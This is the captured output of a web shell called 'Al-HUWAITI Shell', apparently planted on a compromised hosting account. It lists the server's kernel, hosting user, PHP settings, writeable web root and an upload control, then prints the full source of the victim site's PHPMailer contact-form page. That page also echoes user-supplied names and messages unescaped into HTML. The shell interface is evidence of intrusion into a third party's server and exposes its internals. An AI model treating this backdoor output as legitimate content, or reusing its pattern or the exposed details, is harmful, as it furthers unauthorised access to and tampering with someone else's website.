Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/solarboardlimited.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/solarboardlimited.com/public_html/contact.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
$page_title = "Contact us";
$page_header = "contact_header.jpg";
include("header.php"); ?>
<title><?php echo $company_name; ?> - <?php echo $page_title; ?></title>
<?php include("page_header.php"); ?>

<?php 
$msg='';$captcha_error=""; $errors=0;
if (isset($_POST["send_message"])) {
	
include("captcha_start.php");
if($errors == 0){
	
	$subject = mysqli_real_escape_string($con,$_POST['subject']);
	$last_name = mysqli_real_escape_string($con,$_POST['last_name']);
	$first_name = mysqli_real_escape_string($con,$_POST['first_name']);
	$email = mysqli_real_escape_string($con,$_POST['email']);
	$message1 = mysqli_real_escape_string($con,$_POST['message']);
	
	$msg = '';
	require 'PHPMailer/src/PHPMailer.php'; 
	require 'PHPMailer/src/SMTP.php'; 
	require 'PHPMailer/src/Exception.php';

	$mail = new PHPMailer();

	$mail->IsSMTP(); // telling the class to use SMTP
	$mail->SMTPAuth = true; // enable SMTP authentication
	$mail->Host = "smtp.titan.email"; // sets the SMTP server
	$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Set encryption to STARTTLS
    $mail->Port = 587; // Use port 587 for TLS
	$mail->Username = "$no_reply_email"; // SMTP account username
	$mail->Password = "$no_reply_password"; // SMTP account password
	$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
    
	$mail->AddReplyTo("$email","$email"); //Put the submitter's address in a reply-to header
	$mail->Subject = "$subject";
	$mail->MsgHTML("<html><body>$message1</body></html>");
	$mail->AddAddress("$company_email", "Contact Form");//Send the message to yourself, or whoever should receive contact for submissions
	 
	//$mail->AddAttachment(""); // attachment

		if(!$mail->Send()) {
		//echo "Mailer Error: " . $mail->ErrorInfo;
		$msg = "<div class='alert alert-danger'>
					<a href='#' class='close' data-dismiss='alert' aria-label='close'>&times;</a>
					<b>Something went wrong, please try again</b>
				</div>";
		} 
		else {
		$msg = "<div class='alert alert-success'>
					<a href='#' class='close' data-dismiss='alert' aria-label='close'>&times;</a>
					<b>Email Sent</b>
				</div>";
		}
		//email an autoresponse to the person too
	$mail->clearAddresses();
	$mail->clearReplyTos();
	
	$subject1 = "Thanks for contacting us"; // form field
	$email_topic = "Thanks for contacting us";
	$button_link = "$link/sign_in.php";
	$button_text = "Login";
	$message="";
	include("email_header.php");
	$message .=	"
	Dear $first_name,<br/><br/>
	Thank you for reaching out to us! We have received your message and our team is already reviewing it. You will hear from us soon with an update.
	<br/><br/>
	The $company_name Team.<br/>
	$email_logo
	 ";
		 include("email_footer.php");
		 $mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from add
		 $mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
		 $mail->AddReplyTo("$company_email", "$company_name"); //Put the submitter's address in a reply-to header
		 $mail->Subject = "$subject1";
$mail->MsgHTML("<html><body>$message<br></body></html>");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = "Email not sent, please try again Mailer Error: ".$mail->ErrorInfo;
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "<span style='color:steelblue;'>Hey $first_name thanks for getting in touch with us, we will get back to you very shortly!</span>";
	}
}
}
?>

        <!-- contact area -->
        <div class="contact-area py-120">
            <div class="container">
                <div class="contact-content">
                    <div class="row">
                        <div class="col-md-3">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-map-location-dot"></i>
                                </div>
                                <div class="content">
                                    <h5>Office Address</h5>
                                    <p><?= $company_address ?></p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-phone-volume"></i>
                                </div>
                                <div class="content">
                                    <h5>Call Us</h5>
                                    <p><?= $company_phone ?></p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-envelopes"></i>
                                </div>
                                <div class="content">
                                    <h5>Email Us</h5>
                                    <p><a href="" class="__cf_email__" data-cfemail=""><?= $company_email ?></a></p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-alarm-clock"></i>
                                </div>
                                <div class="content">
                                    <h5>Open Time</h5>
                                    <p>Mon - Sat (9.00AM - 05.00PM)</p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="contact-form-wrap">
                    <div class="row g-4">
                        <div class="col-lg-5">
                            <div class="contact-img">
                                <img src="site_img/general/contact1.jpg" alt="">
                            </div>
                        </div>
                        <div class="col-lg-7">
                            <div class="contact-form">
                                <div class="contact-form-header">
                                    <h2>Get In Touch</h2>
                                    <p>Do you have any comments, questions or remarks? We would love to hear them! Simply send us a message using the form below: </p>
                                </div>
                                <h2><?= $msg ?></h2>
                                <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post">
                                    <div class="row">
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <div class="form-icon">
                                                    <i class="far fa-user-tie"></i>
                                                    <input type="text" name="first_name" id="first_name" class='form-control' placeholder="First Name" required>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <div class="form-icon">
                                                    <i class="far fa-user-tie"></i>
                                                    <input type="text" name="last_name" id="last_name" class='form-control' placeholder="Last Name" required>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="col-md-12">
                                            <div class="form-group">
                                                <div class="form-icon">
                                                    <i class="far fa-envelope"></i>
                                                    <input type="email" class="form-control" name="email" placeholder="Your Email" required>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <div class="form-icon">
                                            <i class="far fa-pen"></i>
                                            <input type="text" class="form-control" name="subject" placeholder="Your Subject" required>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <div class="form-icon">
                                            <i class="far fa-comment-lines"></i>
                                            <textarea name="message" cols="30" rows="5" class="form-control"
                                                placeholder="Write Your Message" required></textarea>
                                        </div>
                                    </div>
                                    <div class='col-12'><?php include("captcha_end.php") ?></div>
                                    <button type="submit" name='send_message' class="theme-btn">Send
                                        Message <i class="far fa-paper-plane"></i></button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- end contact area -->


        <!-- map -->
        <div class="contact-map">
       
            <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3962.4347133530755!2d3.4027403747550498!3d6.716686893279157!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x103b954760c4e377%3A0xb65d6e6a8eb68a1a!2s9%20Olu-Ajijola%20Cl%2C%20Magboro%20121101%2C%20Ogun%20State!5e0!3m2!1sen!2sng!4v1742503893912!5m2!1sen!2sng"
                style="border:0;" allowfullscreen="" loading="lazy"></iframe>
        </div>
        <!-- map end -->

    </main>
<?php include("footer.php"); ?>

Al-HUWAITI Shell